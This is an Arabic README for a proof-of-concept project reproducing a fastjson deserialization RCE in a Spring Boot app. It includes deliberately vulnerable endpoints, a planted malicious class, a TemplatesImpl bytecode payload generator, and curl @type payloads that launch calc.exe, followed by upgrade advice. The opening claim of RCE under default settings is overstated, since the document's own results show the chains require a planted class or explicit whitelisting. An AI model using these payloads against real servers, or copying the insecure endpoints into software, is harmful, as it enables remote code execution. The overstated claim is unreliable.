
مشروع استنساخ لـ CVE-2026-16723، ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة في fastjson 1.2.68-1.2.83. يوضح تجاوز AutoType، وحقن JNDI، وحمولات TemplatesImpl في الذاكرة مع نقاط نهاية Spring Boot الضعيفة.
يعيد هذا المشروع إنتاج CVE-2026-16723 — ثغرة حرجة لتنفيذ الأكواد عن بُعد (RCE) في fastjson 1.2.68 حتى 1.2.83. تسمح الثغرة بتنفيذ الأكواد عن بُعد (RCE) تحت الإعدادات الافتراضية دون الحاجة إلى تفعيل AutoType أو وجود أدوات (gadgets) مسبقة في مسار الفئات (classpath).
| الخاصية | القيمة |
|---|
| معرف CVE | CVE-2026-16723 |
| المكوّن | fastjson |
| الإصدارات المتأثرة | 1.2.68 – 1.2.83 |
| الإصدارات المُصلَّحة | 1.2.84+، 2.0.0+ |
| نوع الثغرة | إلغاء التسلسل / تنفيذ الأكواد عن بُعد (RCE) |
| الخطورة | CVSS 3.1: 9.0 (حرجة) |
| متجه الهجوم | الشبكة |
| التعقيد | منخفض |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
fastjson-cve-2026-16723/
├── pom.xml # المشروع الرئيسي (تطبيق Spring Boot مع fastjson الثغري)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # نقطة الدخول لتطبيق Spring Boot
│ └── controller/
│ └── VulnerableController.java # نقاط نهاية REST الثغرية
├── malicious/ # وحدة منفصلة: JAR خبيث لمحاكاة هجوم سلسلة التوريد
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # فئة خبيثة مع مُهيّئ ثابت (static initializer)
│ ├── EvilTranslet.java # translet خبيث لوضع TemplatesImpl في الذاكرة
│ └── GenTemplatesPayload.java # يُنشئ حمولة JSON الخاصة بـ TemplatesImpl
├── templates-payload.json # حمولة TemplatesImpl المُنشأة (النسخة المباشرة)
├── templates-payload-preload.json # حمولة TemplatesImpl المُنشأة (نسخة التحميل المسبق للفئة)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
يحتوي fastjson 1.2.68–1.2.83 على تجاوز في آلية الحماية AutoType. حتى مع الإعدادات الافتراضية (autoTypeSupport=false)، يمكن للمهاجمين إنشاء فئات عشوائية عبر حمولات JSON مصممة باستخدام سلاسل استغلال مثل:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (حقن JNDI)java.lang.Runtime (تنفيذ أوامر مباشر)@type: exploit.MaliciousClass)VulnerableController.java — نقطتا نهاية توضحان المشكلة:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// ثغري: JSON.parseObject مع الإعدادات الافتراضية
// لا حاجة إلى ParserConfig.getGlobalInstance().setAutoTypeSupport(true)!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// فرض إلغاء التسلسل إلى Object — يُفعّل الإنشاء الفعلي للفئة
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# بناء التطبيق الرئيسي
mvn clean package -DskipTests
# بناء JAR الخبيث (وحدة منفصلة)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR كامل لتطبيق Spring Bootmalicious/target/malicious-jar-1.0.jar — JAR خبيث يحتوي على exploit.MaliciousClassjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
يبدأ الخادم على http://localhost:8080
متطلب وقت التشغيل: يستهدف هذا المشروع Java 8 وتم التحقق من وضع TemplatesImpl في الذاكرة على JDK 8. على JDK 9+ يحجب نظام الوحدات الوصول الانعكاسي إلى دواخل
java.xml، لذا تفشل السلسلة معError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplما لم تُضف علامات--add-opens:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
يُعلن ملف pom.xml الرئيسي عن JAR الخبيث كاعتماد (dependency)، لذا يتم تضمينه في JAR الكامل:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
تحقق وقت التشغيل:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
المتوقع: CVE-2026-16723 Reproduction Endpoint Ready...
توفر وحدة malicious الفئة exploit.MaliciousClass مع مُهيّئ ثابت ينفّذ calc.exe عند تحميل الفئة.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
النتيجة:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
ويتم تشغيل calc.exe على الخادم.
ملاحظة: يوضح هذا سيناريو سلسلة توريد حيث يوجد اعتماد خبيث في مسار الفئات. تسمح الثغرة بإنشاء أي فئة في مسار الفئات، وليس فقط فئات JDK.
على عكس وضع سلسلة التوريد (الذي يتطلب وجود الفئة الخبيثة في مسار الفئات) ووضع JNDI (الذي يتطلب خادم LDAP/RMI)، يضمّن هذا الوضع البايت كود الخبيث مباشرة في الحمولة ويحمّله من الذاكرة عبر com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — لا حاجة لنشر أي شيء إضافي.
الخطوة 1 — توليد الحمولة:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
يقوم هذا بتجميع exploit.EvilTranslet (فئة فرعية من AbstractTranslet ينفّذ مُهيّئها الثابت calc.exe)، وترميز وحدات البايت الخاصة بملف .class بصيغة base64، وكتابة:
templates-payload.json — النسخة المباشرة ("@type": "TemplatesImpl")templates-payload-preload.json — نسخة التحميل المسبق لـ java.lang.Classالخطوة 2 — إطلاق الحمولة:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
النتيجة:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
ويتم تشغيل calc.exe على الخادم.
⚠️ النتائج التجريبية (تم التحقق منها ضد fastjson 1.2.83): سلسلة TemplatesImpl لا يمكن تفعيلها تحت الإعدادات الافتراضية البحتة:
- يتم رفض حمولة
@typeالمباشرة بواسطة قائمة الحظر في AutoType (autoType is not support).- تفشل سلسلة التحميل المسبق لـ
java.lang.Classلسببين:java.lang.Classنفسها موجودة في قائمة الحظر (autoType is not support. java.lang.Class)، وحتى التحميل المسبق لـTemplatesImplفي تعيينات الفئات الداخلية لا يتجاوز قائمة الحظر — تم إصلاح تجاوز التعيين الخاص بإصدار 1.2.47 في 1.2.83.autoTypeSupport(true)وحده غير كافٍ أيضًا: قائمة الحظر لها الأولوية على علامة autoType.- تعمل السلسلة فقط عندما تكون الفئة في القائمة البيضاء عبر
ParserConfig.addAccept(...)(قائمة القبول لها الأولوية على قائمة الحظر) و يتم تفعيلFeature.SupportNonPublicField(حقول_bytecodes/_name/_tfactoryفي TemplatesImpl هي حقول خاصة).- تنفّذ نقطة النهاية
/api/deserialize-autotypeهذه المجموعة بالضبط.- وقت التشغيل: تم التحقق من السلسلة على JDK 8. على JDK 9+ يحجب نظام الوحدات الوصول الانعكاسي إلى دواخل
java.xml، لذا يفشل إنشاء المثيل معError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplما لم تُستخدم علامات JVM الواردة في تشغيل التطبيق.
| نقطة النهاية | السلوك |
|---|---|
POST /api/parse | يحلل إلى JSONObject — قد لا يُفعّل إلغاء تسلسل كامل لجميع الحمولات |
POST /api/deserialize | يحلل إلى Object — يفرض إلغاء تسلسل كامل وإنشاء الفئة (الإعدادات الافتراضية) |
POST /api/deserialize-nonpublic | JSON.parse + Feature.SupportNonPublicField — يكتب الحقول الخاصة، لكن قائمة الحظر ما زالت تمنع TemplatesImpl |
POST /api/deserialize-autotype | AutoType + addAccept + SupportNonPublicField — يُفعّل سلسلة TemplatesImpl في الذاكرة |
لاستغلال الفئة الخبيثة، /api/deserialize مطلوبة لتفعيل المُهيّئ الثابت.
قم بترقية fastjson إلى إصدار مُصحَّح:
<!-- الخيار 1: fastjson 1.x (موصى به لمستخدمي 1.x) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>
<!-- الخيار 2: fastjson 2.x (موصى به للمشاريع الجديدة) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
// تعطيل AutoType عالميًا (تخفيف جزئي — قد تستمر سلاسل الاستغلال في التجاوز)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// أو استخدام safeMode (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
هذا المشروع لأغراض البحث التعليمي والدفاعي الأمني فقط.
- لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
- المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر أو عواقب قانونية ناتجة عن استخدام هذا الكود.
- اتبع دائمًا ممارسات الإفصاح المسؤول عند اكتشاف الثغرات.
- يستخدم هذا الإعادة إنتاج حمولة غير ضارة (
calc.exe) للتوضيح؛ يمكن أن تسبب الاستغلالات الحقيقية ضررًا شديدًا.
يُقدَّم هذا المشروع كما هو لأغراض البحث الأمني. لا يوجد ضمان صريح أو ضمني.